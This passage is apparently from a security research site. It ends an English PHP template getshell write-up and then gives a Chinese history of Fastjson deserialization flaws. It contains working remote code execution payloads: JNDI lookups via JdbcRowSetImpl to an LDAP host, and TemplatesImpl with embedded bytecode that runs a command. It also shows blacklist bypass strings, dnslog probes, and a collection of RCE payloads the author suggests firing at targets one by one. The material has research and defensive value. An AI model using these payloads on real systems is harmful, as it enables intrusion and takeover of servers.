, we can find that there are only a few functions involved in the code execution.12345678910111213141516171819202122232425262728function get_para($val, $type = 1) // Handle call data of insert external functions/functions that need to be included{$pa = $this->str_trim($val);foreach ($pa AS $value){if (strrpos($value, '=')){list($a, $b) = explode('=', str_replace(array(' ', '"', "'", '&quot;'), '', $value));if ($b{0} == '$'){if ($type){eval('$para[\'' . $a . '\']=' . $this->get_val(substr($b, 1)) . ';');}else{$para[$a] = $this->get_val(substr($b, 1));}}else{$para[$a] = $b;}}}return $para;}get_para is only called in select, but there is no place to trigger the select.
Then pop_vars
12345678910function pop_vars(){$key = array_pop($this->_temp_key);$val = array_pop($this->_temp_val);if (!empty($key)){eval($key);}}We can control the
$this->_temp_key
variable just in conjunction with GMP, so as long as we can call this method anywhere in the above process, we can construct a code execution with variable coverage.Looking back at the code flow just now, we found such code from the compiled PHP file
order_info.htm.php
1<?php endforeach; endif; unset($_from); ?><?php $this->pop_vars();; ?>After traversing the form,
pop_vars
will be triggered.In this way, as long as we control the
_temp_key
attribute that overrides thecls_template
variable, we can complete a getshellFinal use effect
Timeline
- 2020.03.31 Find the vulnerability.
- 2020.03.31 Report the vulnerability to the manufacturer, CVE, CNVD, etc.
- 2020.07.08 Announce details after 90-day vulnerability disclosure period.
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1268/
-
Fastjson 反序列化漏洞史
作者:Longofo@知道创宇404实验室
时间:2020年4月27日
英文版本:https://paper.seebug.org/1193/Fastjson没有cve编号,不太好查找时间线,一开始也不知道咋写,不过还是慢慢写出点东西,幸好fastjson开源以及有师傅们的一路辛勤记录。文中将给出与Fastjson漏洞相关的比较关键的更新以及漏洞时间线,会对一些比较经典的漏洞进行测试及修复说明,给出一些探测payload,rce payload。
Fastjson解析流程
可以参考下@Lucifaer师傅写的fastjson流程分析,这里不写了,再写篇幅就占用很大了。文中提到fastjson有使用ASM生成的字节码,由于实际使用中很多类都不是原生类,fastjson序列化/反序列化大多数类时都会用ASM处理,如果好奇想查看生成的字节码,可以用idea动态调试时保存字节文件:
插入的代码为:
12345678910111213141516171819202122232425262728293031BufferedOutputStream bos = null;FileOutputStream fos = null;File file = null;String filePath = "F:/java/javaproject/fastjsonsrc/target/classes/" + packageName.replace(".","/") + "/";try {File dir = new File(filePath);if (!dir.exists()) {dir.mkdirs();}file = new File(filePath + className + ".class");fos = new FileOutputStream(file);bos = new BufferedOutputStream(fos);bos.write(code);} catch (Exception e) {e.printStackTrace();} finally {if (bos != null) {try {bos.close();} catch (IOException e) {e.printStackTrace();}}if (fos != null) {try {fos.close();} catch (IOException e) {e.printStackTrace();}}}生成的类:
但是这个类并不能用于调试,因为fastjson中用ASM生成的代码没有linenumber、trace等用于调试的信息,所以不能调试。不过通过在Expression那个窗口重写部分代码,生成可用于调式的bytecode应该也是可行的(我没有测试,如果有时间和兴趣,可以看下ASM怎么生成可用于调试的字节码)。
Fastjson 样例测试
首先用多个版本测试下面这个例子:
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455//User.javapackage com.longofo.test;public class User {private String name; //私有属性,有getter、setter方法private int age; //私有属性,有getter、setter方法private boolean flag; //私有属性,有is、setter方法public String sex; //公有属性,无getter、setter方法private String address; //私有属性,无getter、setter方法public User() {System.out.println("call User default Constructor");}public String getName() {System.out.println("call User getName");return name;}public void setName(String name) {System.out.println("call User setName");this.name = name;}public int getAge() {System.out.println("call User getAge");return age;}public void setAge(int age) {System.out.println("call User setAge");this.age = age;}public boolean isFlag() {System.out.println("call User isFlag");return flag;}public void setFlag(boolean flag) {System.out.println("call User setFlag");this.flag = flag;}@Overridepublic String toString() {return "User{" +"name='" + name + '\'' +", age=" + age +", flag=" + flag +", sex='" + sex + '\'' +", address='" + address + '\'' +'}';}}12345678910111213141516171819202122232425262728293031323334353637383940package com.longofo.test;import com.alibaba.fastjson.JSON;public class Test1 {public static void main(String[] args) {//序列化String serializedStr = "{\"@type\":\"com.longofo.test.User\",\"name\":\"lala\",\"age\":11, \"flag\": true,\"sex\":\"boy\",\"address\":\"china\"}";//System.out.println("serializedStr=" + serializedStr);System.out.println("-----------------------------------------------\n\n");//通过parse方法进行反序列化,返回的是一个JSONObject]System.out.println("JSON.parse(serializedStr):");Object obj1 = JSON.parse(serializedStr);System.out.println("parse反序列化对象名称:" + obj1.getClass().getName());System.out.println("parse反序列化:" + obj1);System.out.println("-----------------------------------------------\n");//通过parseObject,不指定类,返回的是一个JSONObjectSystem.out.println("JSON.parseObject(serializedStr):");Object obj2 = JSON.parseObject(serializedStr);System.out.println("parseObject反序列化对象名称:" + obj2.getClass().getName());System.out.println("parseObject反序列化:" + obj2);System.out.println("-----------------------------------------------\n");//通过parseObject,指定为object.classSystem.out.println("JSON.parseObject(serializedStr, Object.class):");Object obj3 = JSON.parseObject(serializedStr, Object.class);System.out.println("parseObject反序列化对象名称:" + obj3.getClass().getName());System.out.println("parseObject反序列化:" + obj3);System.out.println("-----------------------------------------------\n");//通过parseObject,指定为User.classSystem.out.println("JSON.parseObject(serializedStr, User.class):");Object obj4 = JSON.parseObject(serializedStr, User.class);System.out.println("parseObject反序列化对象名称:" + obj4.getClass().getName());System.out.println("parseObject反序列化:" + obj4);System.out.println("-----------------------------------------------\n");}}说明:
- 这里的@type就是对应常说的autotype功能,简单理解为fastjson会自动将json的
key:value
值映射到@type对应的类中 - 样例User类的几个方法都是比较普通的方法,命名、返回值也都是常规的符合bean要求的写法,所以下面的样例测试有的特殊调用不会覆盖到,但是在漏洞分析中,可以看到一些特殊的情况
- parse用了四种写法,四种写法都能造成危害(不过实际到底能不能利用,还得看版本和用户是否打开了某些配置开关,具体往后看)
- 样例测试都使用jdk8u102,代码都是拉的源码测,主要是用样例说明autotype的默认开启、checkautotype的出现、以及黑白名白名单从哪个版本开始出现的过程以及增强手段
1.1.157测试
这应该是最原始的版本了(tag最早是这个),结果:
123456789101112131415161718192021222324252627282930313233343536373839404142serializedStr={"@type":"com.longofo.test.User","name":"lala","age":11, "flag": true,"sex":"boy","address":"china"}-----------------------------------------------JSON.parse(serializedStr):call User default Constructorcall User setNamecall User setAgecall User setFlagparse反序列化对象名称:com.longofo.test.Userparse反序列化:User{name='lala', age=11, flag=true, sex='boy', address='null'}-----------------------------------------------JSON.parseObject(serializedStr):call User default Constructorcall User setNamecall User setAgecall User setFlagcall User getAgecall User isFlagcall User getNameparseObject反序列化对象名称:com.alibaba.fastjson.JSONObjectparseObject反序列化:{"flag":true,"sex":"boy","name":"lala","age":11}-----------------------------------------------JSON.parseObject(serializedStr, Object.class):call User default Constructorcall User setNamecall User setAgecall User setFlagparseObject反序列化对象名称:com.longofo.test.UserparseObject反序列化:User{name='lala', age=11, flag=true, sex='boy', address='null'}-----------------------------------------------JSON.parseObject(serializedStr, User.class):call User default Constructorcall User setNamecall User setAgecall User setFlagparseObject反序列化对象名称:com.longofo.test.UserparseObject反序列化:User{name='lala', age=11, flag=true, sex='boy', address='null'}-----------------------------------------------下面对每个结果做一个简单的说明
JSON.parse(serializedStr)
1234567JSON.parse(serializedStr):call User default Constructorcall User setNamecall User setAgecall User setFlagparse反序列化对象名称:com.longofo.test.Userparse反序列化:User{name='lala', age=11, flag=true, sex='boy', address='null'}在指定了@type的情况下,自动调用了User类默认构造器,User类对应的setter方法(setAge,setName),最终结果是User类的一个实例,不过值得注意的是public sex被成功赋值了,private address没有成功赋值,不过在1.2.22, 1.1.54.android之后,增加了一个SupportNonPublicField特性,如果使用了这个特性,那么private address就算没有setter、getter也能成功赋值,这个特性也与后面的一个漏洞有关。注意默认构造方法、setter方法调用顺序,默认构造器在前,此时属性值还没有被赋值,所以即使默认构造器中存在危险方法,但是危害值还没有被传入,所以默认构造器按理来说不会成为漏洞利用方法,不过对于内部类那种,外部类先初始化了自己的某些属性值,但是内部类默认构造器使用了父类的属性的某些值,依然可能造成危害。
可以看出,从最原始的版本就开始有autotype功能了,并且autotype默认开启。同时ParserConfig类中还没有黑名单。
JSON.parseObject(serializedStr)
12345678910JSON.parseObject(serializedStr):call User default Constructorcall User setNamecall User setAgecall User setFlagcall User getAgecall User isFlagcall User getNameparseObject反序列化对象名称:com.alibaba.fastjson.JSONObjectparseObject反序列化:{"flag":true,"sex":"boy","name":"lala","age":11}在指定了@type的情况下,自动调用了User类默认构造器,User类对应的setter方法(setAge,setName)以及对应的getter方法(getAge,getName),最终结果是一个字符串。这里还多调用了getter(注意bool类型的是is开头的)方法,是因为parseObject在没有其他参数时,调用了
JSON.toJSON(obj)
,后续会通过gettter方法获取obj属性值:JSON.parseObject(serializedStr, Object.class)
1234567JSON.parseObject(serializedStr, Object.class):call User default Constructorcall User setNamecall User setAgecall User setFlagparseObject反序列化对象名称:com.longofo.test.UserparseObject反序列化:User{name='lala', age=11, flag=true, sex='boy', address='null'}在指定了@type的情况下,这种写法和第一种
JSON.parse(serializedStr)
写法其实没有区别的,从结果也能看出。JSON.parseObject(serializedStr, User.class)
1234567JSON.parseObject(serializedStr, User.class):call User default Constructorcall User setNamecall User setAgecall User setFlagparseObject反序列化对象名称:com.longofo.test.UserparseObject反序列化:User{name='lala', age=11, flag=true, sex='boy', address='null'}在指定了@type的情况下,自动调用了User类默认构造器,User类对应的setter方法(setAge,setName),最终结果是User类的一个实例。这种写法明确指定了目标对象必须是User类型,如果@type对应的类型不是User类型或其子类,将抛出不匹配异常,但是,就算指定了特定的类型,依然有方式在类型匹配之前来触发漏洞。
1.2.10测试
对于上面User这个类,测试结果和1.1.157一样,这里不写了。
到这个版本autotype依然默认开启。不过从这个版本开始,fastjson在ParserConfig中加入了denyList,一直到1.2.24版本,这个denyList都只有一个类(不过这个java.lang.Thread不是用于漏洞利用的):
1.2.25测试
测试结果是抛出出了异常:
12345678910111213serializedStr={"@type":"com.longofo.test.User","name":"lala","age":11, "flag": true}-----------------------------------------------JSON.parse(serializedStr):Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. com.longofo.test.Userat com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:882)at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:322)at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1327)at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1293)at com.alibaba.fastjson.JSON.parse(JSON.java:137)at com.alibaba.fastjson.JSON.parse(JSON.java:128)at com.longofo.test.Test1.main(Test1.java:14)从1.2.25开始,autotype默认关闭了,对于autotype开启,后面漏洞分析会涉及到。并且从1.2.25开始,增加了checkAutoType函数,它的主要作用是检测@type指定的类是否在白名单、黑名单(使用的startswith方式)
以及目标类是否是两个危险类(Classloader、DataSource)的子类或者子接口,其中白名单优先级最高,白名单如果允许就不检测黑名单与危险类,否则继续检测黑名单与危险类:
增加了黑名单类、包数量,同时增加了白名单,用户还可以调用相关方法添加黑名单/白名单到列表中:
后面的许多漏洞都是对checkAutotype以及本身某些逻辑缺陷导致的漏洞进行修复,以及黑名单的不断增加。
1.2.42测试
与1.2.25一样,默认不开启autotype,所以结果一样,直接抛autotype未开启异常。
从这个版本开始,将denyList、acceptList换成了十进制的hashcode,使得安全研究难度变大了(不过hashcode的计算方法依然是公开的,假如拥有大量的jar包,例如maven仓库可以爬jar包下来,可批量的跑类名、包名,不过对于黑名单是包名的情况,要找到具体可利用的类也会消耗一些时间):
checkAutotype中检测也做了相应的修改:
1.2.61测试
与1.2.25一样,默认不开启autotype,所以结果一样,直接抛autotype未开启异常。
从1.2.25到1.2.61之前其实还发生了很多绕过与黑名单的增加,不过这部分在后面的漏洞版本线在具体写,这里写1.2.61版本主要是说明黑名单防御所做的手段。在1.2.61版本时,fastjson将hashcode从十进制换成了十六进制:
不过用十六进制表示与十进制表示都一样,同样可以批量跑jar包。在1.2.62版本为了统一又把十六进制大写:
再之后的版本就是黑名单的增加了
Fastjson漏洞版本线
下面漏洞不会过多的分析,太多了,只会简单说明下以及给出payload进行测试与说明修复方式。
ver<=1.2.24
从上面的测试中可以看到,1.2.24及之前没有任何防御,并且autotype默认开启,下面给出那会比较经典的几个payload。
com.sun.rowset.JdbcRowSetImpl利用链
payload:
1234567{"rand1": {"@type": "com.sun.rowset.JdbcRowSetImpl","dataSourceName": "ldap://localhost:1389/Object","autoCommit": true}}测试(jdk=8u102,fastjson=1.2.24):
12345678910111213package com.longofo.test;import com.alibaba.fastjson.JSON;public class Test2 {public static void main(String[] args) {String payload = "{\"rand1\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/Object\",\"autoCommit\":true}}";// JSON.parse(payload); 成功//JSON.parseObject(payload); 成功//JSON.parseObject(payload,Object.class); 成功//JSON.parseObject(payload, User.class); 成功,没有直接在外层用@type,加了一层rand:{}这样的格式,还没到类型匹配就能成功触发,这是在xray的一篇文中看到的https://zhuanlan.zhihu.com/p/99075925,所以后面的payload都使用这种模式}}结果:
触发原因简析:
JdbcRowSetImpl对象恢复->setDataSourceName方法调用->setAutocommit方法调用->context.lookup(datasourceName)调用
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl利用链
payload:
1234567891011{"rand1": {"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes": ["yv66vgAAADQAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAARBYUFhAQAMSW5uZXJDbGFzc2VzAQAdTGNvbS9sb25nb2ZvL3Rlc3QvVGVzdDMkQWFBYTsBAApTb3VyY2VGaWxlAQAKVGVzdDMuamF2YQwABAAFBwATAQAbY29tL2xvbmdvZm8vdGVzdC9UZXN0MyRBYUFhAQAQamF2YS9sYW5nL09iamVjdAEAFmNvbS9sb25nb2ZvL3Rlc3QvVGVzdDMBAAg8Y2xpbml0PgEAEWphdmEvbGFuZy9SdW50aW1lBwAVAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwAFwAYCgAWABkBAARjYWxjCAAbAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAHQAeCgAWAB8BABNBYUFhNzQ3MTA3MjUwMjU3NTQyAQAVTEFhQWE3NDcxMDcyNTAyNTc1NDI7AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAIwoAJAAPACEAAgAkAAAAAAACAAEABAAFAAEABgAAAC8AAQABAAAABSq3ACWxAAAAAgAHAAAABgABAAAAHAAIAAAADAABAAAABQAJACIAAAAIABQABQABAAYAAAAWAAIAAAAAAAq4ABoSHLYAIFexAAAAAAACAA0AAAACAA4ACwAAAAoAAQACABAACgAJ"],"_name": "aaa","_tfactory": {},"_outputProperties": {}}}测试(jdk=8u102,fastjson=1.2.24):
123456789101112131415161718192021222324252627282930313233343536373839404142434445package com.longofo.test;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import javassist.ClassPool;import javassist.CtClass;import org.apache.commons.codec.binary.Base64;public class Test3 {public static void main(String[] args) throws Exception {String evilCode_base64 = readClass();final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";String payload = "{'rand1':{" +"\"@type\":\"" + NASTY_CLASS + "\"," +"\"_bytecodes\":[\"" + evilCode_base64 + "\"]," +"'_name':'aaa'," +"'_tfactory':{}," +"'_outputProperties':{}" +"}}\n";System.out.println(payload);//JSON.parse(payload, Feature.SupportNonPublicField); 成功//JSON.parseObject(payload, Feature.SupportNonPublicField); 成功//JSON.parseObject(payload, Object.class, Feature.SupportNonPublicField); 成功//JSON.parseObject(payload, User.class, Feature.SupportNonPublicField); 成功}public static class AaAa {}public static String readClass() throws Exception {ClassPool pool = ClassPool.getDefault();CtClass cc = pool.get(AaAa.class.getName());String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";cc.makeClassInitializer().insertBefore(cmd);String randomClassName = "AaAa" + System.nanoTime();cc.setName(randomClassName);cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));byte[] evilCode = cc.toBytecode();return Base64.encodeBase64String(evilCode);}}结果:
触发原因简析:
TemplatesImpl对象恢复->JavaBeanDeserializer.deserialze->FieldDeserializer.setValue->TemplatesImpl.getOutputProperties->TemplatesImpl.newTransformer->TemplatesImpl.getTransletInstance->通过defineTransletClasses,newInstance触发我们自己构造的class的静态代码块
简单说明:
这个漏洞需要开启SupportNonPublicField特性,这在样例测试中也说到了。因为TemplatesImpl类中
_bytecodes
、_tfactory
、_name
、_outputProperties
、_class
并没有对应的setter,所以要为这些private属性赋值,就需要开启SupportNonPublicField特性。具体这个poc构造过程,这里不分析了,可以看下廖大师傅的这篇,涉及到了一些细节问题。ver>=1.2.25&ver<=1.2.41
1.2.24之前没有autotype的限制,从1.2.25开始默认关闭了autotype支持,并且加入了checkAutotype,加入了黑名单+白名单来防御autotype开启的情况。在1.2.25到1.2.41之间,发生了一次checkAutotype的绕过。
下面是checkAutoType代码:
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687public Class<?> checkAutoType(String typeName, Class<?> expectClass) {if (typeName == null) {return null;}final String className = typeName.replace('$', '.');// 位置1,开启了autoTypeSupport,先白名单,再黑名单if (autoTypeSupport || expectClass != null) {for (int i = 0; i < acceptList.length; ++i) {String accept = acceptList[i];if (className.startsWith(accept)) {return TypeUtils.loadClass(typeName, defaultClassLoader);}}for (int i = 0; i < denyList.length; ++i) {String deny = denyList[i];if (className.startsWith(deny)) {throw new JSONException("autoType is not support. " + typeName);}}}// 位置2,从已存在的map中获取clazzClass<?> clazz = TypeUtils.getClassFromMapping(typeName);if (clazz == null) {clazz = deserializers.findClass(typeName);}if (clazz != null) {if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());}return clazz;}// 位置3,没开启autoTypeSupport,依然会进行黑白名单检测,先黑名单,再白名单if (!autoTypeSupport) {for (int i = 0; i < denyList.length; ++i) {String deny = denyList[i];if (className.startsWith(deny)) {throw new JSONException("autoType is not support. " + typeName);}}for (int i = 0; i < acceptList.length; ++i) {String accept = acceptList[i];if (className.startsWith(accept)) {clazz = TypeUtils.loadClass(typeName, defaultClassLoader);if (expectClass != null && expectClass.isAssignableFrom(clazz)) {throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());}return clazz;}}}// 位置4,过了黑白名单,autoTypeSupport开启,就加载目标类if (autoTypeSupport || expectClass != null) {clazz = TypeUtils.loadClass(typeName, defaultClassLoader);}if (clazz != null) {// ClassLoader、DataSource子类/子接口检测if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger|| DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver) {throw new JSONException("autoType is not support. " + typeName);}if (expectClass != null) {if (expectClass.isAssignableFrom(clazz)) {return clazz;} else {throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());}}}if (!autoTypeSupport) {throw new JSONException("autoType is not support. " + typeName);}return clazz;}在上面做了四个位置标记,因为后面几次绕过也与这几处位置有关。这一次的绕过是走过了前面的1,2,3成功进入位置4加载目标类。位置4 loadclass如下:
去掉了className前后的
L
和;
,形如Lcom.lang.Thread;
这种表示方法和JVM中类的表示方法是类似的,fastjson对这种表示方式做了处理。而之前的黑名单检测都是startswith检测的,所以可给@type指定的类前后加上L
和;
来绕过黑名单检测。这里用上面的JdbcRowSetImpl利用链:
1234567{"rand1": {"@type": "Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName": "ldap://localhost:1389/Object","autoCommit": true}}测试(jdk8u102,fastjson 1.2.41):
123456789101112131415package com.longofo.test;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class Test4 {public static void main(String[] args) {String payload = "{\"rand1\":{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://localhost:1389/Object\",\"autoCommit\":true}}";ParserConfig.getGlobalInstance().setAutoTypeSupport(true);//JSON.parse(payload); 成功//JSON.parseObject(payload); 成功//JSON.parseObject(payload,Object.class); 成功//JSON.parseObject(payload, User.class); 成功}}结果:
ver=1.2.42
在1.2.42对1.2.25~1.2.41的checkAutotype绕过进行了修复,将黑名单改成了十进制,对checkAutotype检测也做了相应变化:
黑名单改成了十进制,检测也进行了相应hash运算。不过和上面1.2.25中的检测过程还是一致的,只是把startswith这种检测换成了hash运算这种检测。对于1.2.25~1.2.41的checkAutotype绕过的修复,就是红框处,判断了className前后是不是
L
和;
,如果是,就截取第二个字符和到倒数第二个字符。所以1.2.42版本的checkAutotype绕过就是前后双写LL
和;;
,截取之后过程就和1.2.25~1.2.41版本利用方式一样了。用上面的JdbcRowSetImpl利用链:
1234567{"rand1": {"@type": "LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName": "ldap://localhost:1389/Object","autoCommit": true}}测试(jdk8u102,fastjson 1.2.42):
123456789101112131415package com.longofo.test;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class Test5 {public static void main(String[] args) {String payload = "{\"rand1\":{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"ldap://localhost:1389/Object\",\"autoCommit\":true}}";ParserConfig.getGlobalInstance().setAutoTypeSupport(true);//JSON.parse(payload); 成功//JSON.parseObject(payload); 成功//JSON.parseObject(payload,Object.class); 成功//JSON.parseObject(payload, User.class); 成功}}结果:
ver=1.2.43
1.2.43对于1.2.42的绕过修复方式:
在第一个if条件之下(
L
开头,;
结尾),又加了一个以LL
开头的条件,如果第一个条件满足并且以LL
开头,直接抛异常。所以这种修复方式没法在绕过了。但是上面的loadclass除了L
和;
做了特殊处理外,[
也被特殊处理了,又再次绕过了checkAutoType:用上面的JdbcRowSetImpl利用链:
1{"rand1":{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"ldap://127.0.0.1:1389/Exploit","autoCommit":true]}}测试(jdk8u102,fastjson 1.2.43):
123456789101112131415package com.longofo.test;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class Test6 {public static void main(String[] args) {String payload = "{\"rand1\":{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{\"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\",\"autoCommit\":true]}}";ParserConfig.getGlobalInstance().setAutoTypeSupport(true);// JSON.parse(payload); 成功//JSON.parseObject(payload); 成功//JSON.parseObject(payload,Object.class); 成功JSON.parseObject(payload, User.class);}}结果:
ver=1.2.44
1.2.44版本修复了1.2.43绕过,处理了
[
:删除了之前的
L
开头、;
结尾、LL
开头的判断,改成了[
开头就抛异常,;
结尾也抛异常,所以这样写之前的几次绕过都修复了。ver>=1.2.45&ver<1.2.46
这两个版本期间就是增加黑名单,没有发生checkAutotype绕过。黑名单中有几个payload在后面的RCE Payload给出,这里就不写了
ver=1.2.47
这个版本发生了不开启autotype情况下能利用成功的绕过。解析一下这次的绕过:
- 利用到了
java.lang.class
,这个类不在黑名单,所以checkAutotype可以过 - 这个
java.lang.class
类对应的deserializer为MiscCodec,deserialize时会取json串中的val值并load这个val对应的class,如果fastjson cache为true,就会缓存这个val对应的class到全局map中 - 如果再次加载val名称的class,并且autotype没开启(因为开启了会先检测黑白名单,所以这个漏洞开启了反而不成功),下一步就是会尝试从全局map中获取这个class,如果获取到了,直接返回
这个漏洞分析已经很多了,具体详情可以参考下这篇
payload:
1234567891011{"rand1": {"@type": "java.lang.Class","val": "com.sun.rowset.JdbcRowSetImpl"},"rand2": {"@type": "com.sun.rowset.JdbcRowSetImpl","dataSourceName": "ldap://localhost:1389/Object","autoCommit": true}}测试(jdk8u102,fastjson 1.2.47):
1234567891011121314151617181920212223package com.longofo.test;import com.alibaba.fastjson.JSON;public class Test7 {public static void main(String[] args) {String payload = "{\n" +" \"rand1\": {\n" +" \"@type\": \"java.lang.Class\", \n" +" \"val\": \"com.sun.rowset.JdbcRowSetImpl\"\n" +" }, \n" +" \"rand2\": {\n" +" \"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \n" +" \"dataSourceName\": \"ldap://localhost:1389/Object\", \n" +" \"autoCommit\": true\n" +" }\n" +"}";//JSON.parse(payload); 成功//JSON.parseObject(payload); 成功//JSON.parseObject(payload,Object.class); 成功JSON.parseObject(payload, User.class);}}结果:
ver>=1.2.48&ver<=1.2.68
在1.2.48修复了1.2.47的绕过,在MiscCodec,处理Class类的地方,设置了cache为false:
在1.2.48到最新版本1.2.68之间,都是增加黑名单类。
ver=1.2.68
1.2.68是目前最新版,在1.2.68引入了safemode,打开safemode时,@type这个specialkey完全无用,无论白名单和黑名单,都不支持autoType了。
在这个版本中,除了增加黑名单,还减掉一个黑名单:
这个减掉的黑名单,不知道有师傅跑出来没,是个包名还是类名,然后能不能用于恶意利用,反正有点奇怪。
探测Fastjson
比较常用的探测Fastjson是用dnslog方式,探测到了再用RCE Payload去一个一个打。同事说让搞个能回显的放扫描器扫描,不过目标容器/框架不一样,回显方式也会不一样,这有点为难了...,还是用dnslog吧。
dnslog探测
目前fastjson探测比较通用的就是dnslog方式去探测,其中Inet4Address、Inet6Address直到1.2.67都可用。下面给出一些看到的payload(结合了上面的rand:{}这种方式,比较通用些):
12345678910111213141516171819{"rand1":{"@type":"java.net.InetAddress","val":"http://dnslog"}}{"rand2":{"@type":"java.net.Inet4Address","val":"http://dnslog"}}{"rand3":{"@type":"java.net.Inet6Address","val":"http://dnslog"}}{"rand4":{"@type":"java.net.InetSocketAddress"{"address":,"val":"http://dnslog"}}}{"rand5":{"@type":"java.net.URL","val":"http://dnslog"}}一些畸形payload,不过依然可以触发dnslog:{"rand6":{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"http://dnslog"}}""}}{"rand7":Set[{"@type":"java.net.URL","val":"http://dnslog"}]}{"rand8":Set[{"@type":"java.net.URL","val":"http://dnslog"}{"rand9":{"@type":"java.net.URL","val":"http://dnslog"}:0一些RCE Payload
之前没有收集关于fastjson的payload,没有去跑jar包....,下面列出了网络上流传的payload以及从marshalsec中扣了一些并改造成适用于fastjson的payload,每个payload适用的jdk版本、fastjson版本就不一一测试写了,这一通测下来都不知道要花多少时间,实际利用基本无法知道版本、autotype开了没、用户咋配置的、用户自己设置又加了黑名单/白名单没,所以将构造的Payload一一过去打就行了,基础payload:
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586payload1:{"rand1": {"@type": "com.sun.rowset.JdbcRowSetImpl","dataSourceName": "ldap://localhost:1389/Object","autoCommit": true}}payload2:{"rand1": {"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes": ["yv66vgAAADQAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAARBYUFhAQAMSW5uZXJDbGFzc2VzAQAdTGNvbS9sb25nb2ZvL3Rlc3QvVGVzdDMkQWFBYTsBAApTb3VyY2VGaWxlAQAKVGVzdDMuamF2YQwABAAFBwATAQAbY29tL2xvbmdvZm8vdGVzdC9UZXN0MyRBYUFhAQAQamF2YS9sYW5nL09iamVjdAEAFmNvbS9sb25nb2ZvL3Rlc3QvVGVzdDMBAAg8Y2xpbml0PgEAEWphdmEvbGFuZy9SdW50aW1lBwAVAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwAFwAYCgAWABkBAARjYWxjCAAbAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAHQAeCgAWAB8BABNBYUFhNzQ3MTA3MjUwMjU3NTQyAQAVTEFhQWE3NDcxMDcyNTAyNTc1NDI7AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAIwoAJAAPACEAAgAkAAAAAAACAAEABAAFAAEABgAAAC8AAQABAAAABSq3ACWxAAAAAgAHAAAABgABAAAAHAAIAAAADAABAAAABQAJACIAAAAIABQABQABAAYAAAAWAAIAAAAAAAq4ABoSHLYAIFexAAAAAAACAA0AAAACAA4ACwAAAAoAAQACABAACgAJ"],"_name": "aaa","_tfactory": {},"_outputProperties": {}}}payload3:{"rand1": {"@type": "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties": {"data_source": "ldap://localhost:1389/Object"}}}payload4:{"rand1": {"@type": "org.springframework.beans.factory.config.PropertyPathFactoryBean","targetBeanName": "ldap://localhost:1389/Object","propertyPath": "foo","beanFactory": {"@type": "org.springframework.jndi.support.SimpleJndiBeanFactory","shareableResources": ["ldap://localhost:1389/Object"]}}}payload5:{"rand1": Set[{"@type": "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor","beanFactory": {"@type": "org.springframework.jndi.support.SimpleJndiBeanFactory","shareableResources": ["ldap://localhost:1389/obj"]},"adviceBeanName": "ldap://localhost:1389/obj"},{"@type": "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor"}]}payload6:{"rand1": {"@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString": 